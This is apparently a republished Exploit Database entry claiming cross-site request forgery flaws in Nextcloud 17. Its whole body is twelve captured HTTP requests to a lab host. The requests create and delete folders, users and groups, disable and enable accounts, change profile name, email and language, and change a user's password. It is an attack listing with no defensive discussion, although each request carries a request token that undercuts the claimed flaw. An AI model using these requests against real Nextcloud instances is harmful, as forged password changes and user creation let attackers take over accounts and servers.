Nextcloud 17 – Cross-Site Request Forgery

• Exploit Database
• 19 阅读

• 作者： Ozer Goker
  日期： 2019-11-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47603/

• # Exploit Title: Nextcloud 17 - Cross-Site Request Forgery
  # Date: 08.11.2019
  # Exploit Author: Ozer Goker
  # Vendor Homepage: https://nextcloud.com
  # Software Link: https://nextcloud.com/install/#instructions-server
  # Version: 17
  # CVE: N/A
  
  
  #Nextcloud offers the industry-leading, on-premises content collaboration
  platform.
  #Our technology combines the convenience and ease of use of consumer-grade
  solutions like Dropbox and Google Drive with the security, privacy and
  control business #needs.
  
  ##################################################################################################################################
  
  # CSRF1
  # Create Folder
  
  MKCOL /remote.php/dav/files/ogoker/test HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  requesttoken:
  NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M=
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
  nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
  
  
  ##################################################################################################################################
  
  # CSRF2
  # Delete Folder
  
  DELETE /remote.php/dav/files/ogoker/test HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  requesttoken:
  NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M=
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
  nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
  
  
  ##################################################################################################################################
  
  # CSRF3
  # Create User
  
  POST /ocs/v2.php/cloud/users HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/plain, /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/json;charset=utf-8
  requesttoken:
  qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I=
  Content-Length: 129
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
  nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
  
  {"userid":"test","password":"test1234","displayName":"","email":"","groups":[],"subadmin":[],"quota":"default","language":"en"}
  
  
  
  ##################################################################################################################################
  
  # CSRF4
  # Delete User
  
  DELETE /ocs/v2.php/cloud/users/test HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/plain, /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  requesttoken:
  qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I=
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
  nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
  
  
  ##################################################################################################################################
  
  # CSRF5
  # Disable User
  
  PUT /ocs/v2.php/cloud/users/test/disable HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/plain, /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  requesttoken:
  3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0=
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
  nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
  Content-Length: 0
  
  
  ##################################################################################################################################
  
  # CSRF6
  # Enable User
  
  PUT /ocs/v2.php/cloud/users/test/enable HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/plain, /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  requesttoken:
  3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0=
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
  nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
  Content-Length: 0
  
  
  ##################################################################################################################################
  
  # CSRF7
  # Create Group
  
  POST /ocs/v2.php/cloud/groups HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/plain, /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/json;charset=utf-8
  requesttoken:
  EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g=
  Content-Length: 18
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  redirect=1; testing=1
  
  {"groupid":"test"}
  
  
  ##################################################################################################################################
  
  # CSRF8
  # Delete Group
  
  DELETE /ocs/v2.php/cloud/groups/test HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/plain, /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  requesttoken:
  EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g=
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  redirect=1; testing=1
  
  
  ##################################################################################################################################
  
  # CSRF9
  # Change User Full Name
  
  
  PUT /settings/users/ogoker/settings HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/javascript, /; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/json
  requesttoken:
  nvnWCslz6So+9VRA8Vg8043tt1pf1wL/ysi2ak1J6es=:z5yuT+YrmAERmx0LhmBllPSJ/WISv2mUuL36IB4ru6I=
  OCS-APIREQUEST: true
  X-Requested-With: XMLHttpRequest
  Content-Length: 266
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  redirect=1; testing=1
  
  {"displayname":"Ozer
  Goker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"}
  
  
  ##################################################################################################################################
  
  # CSRF10
  # Change User Email
  
  PUT /settings/users/ogoker/settings HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: application/json, text/javascript, /; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/json
  requesttoken:
  I+6bC+nRvx4TyTudd4pzZrOucr8qlgwe0YE3v13+fOw=:covjTsaJzjU8p3LWALIqIcrKOIdn/md1o/R79Q6cLqU=
  OCS-APIREQUEST: true
  X-Requested-With: XMLHttpRequest
  Content-Length: 271
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  redirect=1; testing=1
  
  {"displayname":"ogoker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"test@test
  ","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"}
  
  
  ##################################################################################################################################
  
  # CSRF11
  # Change Language
  
  PUT /ocs/v2.php/cloud/users/ogoker HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  requesttoken:
  mRN2MXrwRQuE/fuQ5PNtyp4ulgYRocB99vbydSi8i+E=:yHYOdFWoNCCrk7Lbk8s0jedK3D5cyasWhIO+P3ve2ag=
  OCS-APIREQUEST: true
  X-Requested-With: XMLHttpRequest
  Content-Length: 21
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  redirect=1; testing=1
  
  key=language&value=tr
  
  
  ##################################################################################################################################
  
  # CSRF12
  # Change User Password
  
  POST /settings/personal/changepassword HTTP/1.1
  Host: 192.168.2.109
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: /
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  requesttoken:
  0OhP82O7tEe/0gbwiEPrkFfuU9StyaiXNi0yqg02wT4=:gY03tkzjxWyQvE+7/3uy1y6KGezgocP8RFh+4F5Uk3c=
  OCS-APIREQUEST: true
  X-Requested-With: XMLHttpRequest
  Content-Length: 70
  Connection: close
  Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
  oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
  __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
  redirect=1; testing=1
  
  oldpassword=abcd1234&newpassword=12345678&newpassword-clone=12345678
  
  
  ##################################################################################################################################